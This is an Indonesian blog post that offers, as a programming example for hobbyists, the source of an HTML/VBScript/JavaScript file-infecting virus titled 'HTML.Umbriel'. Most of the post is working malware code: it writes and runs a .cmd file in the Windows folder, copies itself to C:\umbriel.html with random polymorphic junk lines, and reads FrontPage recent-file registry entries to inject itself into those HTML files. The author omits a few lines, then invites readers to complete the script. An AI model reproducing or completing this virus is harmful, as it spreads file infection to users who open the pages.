Bagi programer pemula seperti saya, pasti sangat tertarik dengan pemrograman vbscript, Vbscript capex dech,,,,,, Ya itulah sebagian orang mengatakan tentang virus, tapi yang hoby pasti demen banget ma virut pa lagi yang punya softwarenya. Ukey langsung ja au beri contoh pemrograman virus lewat internet pake bahasa HTML + vbscript :
<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
shell.Run javascript:location.reload()
End If
Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)
Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
Karena urusan kemanusiaan beberapa script tidak au tampilkan
shell.Run windir+"\windows.cmd"
End If
</script>
<script language="JavaScript">
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
if (checkb!=1)
{
if (Math.round(Math.random()*5)+1 == 3)
{
if (check == 2)
{
file.WriteLine("/"+"*")
file.WriteLine("*"+"/")
}
if (check == 3)
{
file.WriteLine("rem")
}
}
code=virus.ReadLine()
if (code == "/"+"*") { checka=666 }
if (code == "*"+"/") { checka=666 }
if (code == "rem") { checka=666 }
if (checka != 666 ) { file.WriteLine(code) }
checka=0
if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
if (code=="// JS") { check=2 }
if (code=="rem VBS") { check=3 }
if (code=="</"+unescape("%73")+"cript>") { check=0 }
}
}
virus.Close();
file.Close();
</script>
<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)
Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
Karena urusan kemanusiaan beberapa script tidak au tampilkan
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If
End Sub
</script>
</body>
</html>
Jika ada seseorang yang bisa melengkapi script diatas,Penulis tidak bertanggung jawab atas kejadian yang terjadi dikarenakannya...........................
Thanx love and right
